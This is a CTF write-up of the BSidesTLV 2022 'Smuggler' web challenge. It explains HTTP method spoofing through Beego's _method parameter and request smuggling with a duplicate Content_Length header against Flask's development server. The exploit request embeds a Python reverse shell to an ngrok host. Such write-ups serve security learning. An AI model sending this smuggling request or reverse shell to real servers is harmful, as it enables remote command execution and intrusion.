👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Challenge
  • Solution
  • Traefik
  • Go Microservice
  • Python Microservice
  • HTTP Method Spoofing
  • HTTP Request Smuggling

Was this helpful?

  1. 2022
  2. BSidesTLV 2022 CTF

Smuggler

HTTP Request Smuggling and Method Spoofing

PreviousBSidesTLV 2022 CTFNextWild DevTools

Last updated 2 years ago

Was this helpful?

Challenge

Web, 5 Solves

We have managed to leak the source code of an application we want to gain access to, however we couldn't figure out how to trigger the vulnerability we found in it, can you help us?

Solution

This challenge consists of 3 services - Traefik (a HTTP proxy), a Python microservice, and a Go microservice.

Traefik

The configuration file is shown below. This service acts as a reverse proxy for the Go microservice, and only accepts the POST, GET, OPTIONS, DELETE and PATCH methods.

[http]
  [http.routers]
    [http.routers.Router0]
      entryPoints = ["web"]
      service = "app"
      rule = "Method(`POST`, `GET`, `OPTIONS`, `DELETE`, `PATCH`)"

  [http.services]
    [http.services.app]
      [[http.services.app.weighted.services]]
        name = "appv1"

    [http.services.appv1]
      [http.services.appv1.loadBalancer]
        [[http.services.appv1.loadBalancer.servers]]
          url = "http://go-microservice:8080/"

Go Microservice

Taking a look at the Go microservice, we could see that the Beego web framework is used. This service acts as a reverse proxy for the Python microservice when the PUT method is used.

package main

import (
	"fmt"
	"github.com/beego/beego/v2/server/web"
	"net/http/httputil"
	"net/url"
)

type MainController struct {
	web.Controller
}

func (this *MainController) Get() {
	fmt.Println(this.Ctx.Request.ContentLength)
	this.Ctx.WriteString("OK")
}

func (this *MainController) Put() {
	targetURL := "http://python-microservice:80/"
	url, err := url.Parse(targetURL)
	if err != nil {
		panic(fmt.Sprintf("failed to parse the URL: %v", err))
	}
	proxy := httputil.NewSingleHostReverseProxy(url)
	proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}

func main() {
	web.Router("/", &MainController{})
	web.Run()
}

Python Microservice

Finally, the Python microservice allows us to run arbitrary commands when the GET method is used. That seems like where we need to go.

import os
from flask import Flask, request
from werkzeug.serving import WSGIRequestHandler

app = Flask(__name__)


@app.route('/')
def run_cmd():
    if 'cmd' in request.args:
        os.system(request.args['cmd'])
    return 'OK'


@app.route('/', methods=['POST'])
def echo_request():
    return request.get_data()


if __name__ == '__main__':
    WSGIRequestHandler.protocol_version = "HTTP/1.1"
    app.run(host='0.0.0.0', port=80, threaded=True, debug=False)

HTTP Method Spoofing

To get to the Python microservice in the first place, we need to use the PUT method on the Go microservice. Yet, the Traefik proxy only allows the POST, GET, OPTIONS, DELETE and PATCH methods.

As of this CTF, both the Traefik and Beego versions used were the latest versions, with no known CVEs. How then, can we "smuggle" a PUT request to the Go microservice?

Specifically, when the POST method is used, a check is done on the _method query parameter. If we use ?_method=PUT for instance, the request is routed as if it was a PUT request.

Therefore, the following request would reach the Put() handler in the Go microservice:

POST /?_method=PUT HTTP/1.1
Host: foo.bar

HTTP Request Smuggling

For instance, underscores (_) are converted to hyphens (-) and interpreted as such. This means that the Content_Length header is treated in the same way as Content-Length.

The built-in server also allows duplicate Content-Length headers, leading to differences between the upstream servers (Traefik and Beego) and the Flask built-in server in interpreting the length of HTTP requests.

Consider the following request:

POST /?_method=PUT HTTP/1.1
Host: localhost
Content-Length: 307
Content_Length: 0

GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: localhost

Both Traefik and Beego are RFC-compliant in this regard, but the Flask built-in server is not. When both Traefik and Beego process the above request, the second GET request is simply subsumed as part of the first POST request due to the Content-Length header indicating a length equal to the length of the second GET request.

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error.

In this case, the Flask built-in server takes the last Content-Length header value as the length of the request body. Therefore, it sees the length of the request body as 0.

Content-Length: 307
Content_Length: 0

When the POST request arrives, it is treated as two separate requests, as though the following request was made:

POST /?_method=PUT HTTP/1.1
Host: localhost
Content-Length: 0

GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: localhost

We have smuggled a GET request to the Python microservice, allowing us to get a reverse shell and obtain the flag.

I took a look at the Beego , and found some interesting information on how it handles routing. Although the PUT request method is not directly supported by Beego in the request line itself, there is a way to issue a "pseudo" PUT request.

Now that we have reached the PUT handler in Beego, we have access to the Python microservice. The Python microservice runs on Flask's built-in server, which is not secure for production. In particular, it does very little to mitigate attacks.

RFC 7230 both underscores and hyphens in header field names.Content-Length and Content_Length are therefore two distinct headers - they should not be interoperable. In this case, Content_Length should be treated like any other header, and not a special header indicating the length of the request body.

The second RFC violation comes from accepting multiple Content-Length headers with different values. As ,

source code
HTTP request smuggling
allows
per the RFC
18KB
src.tar.gz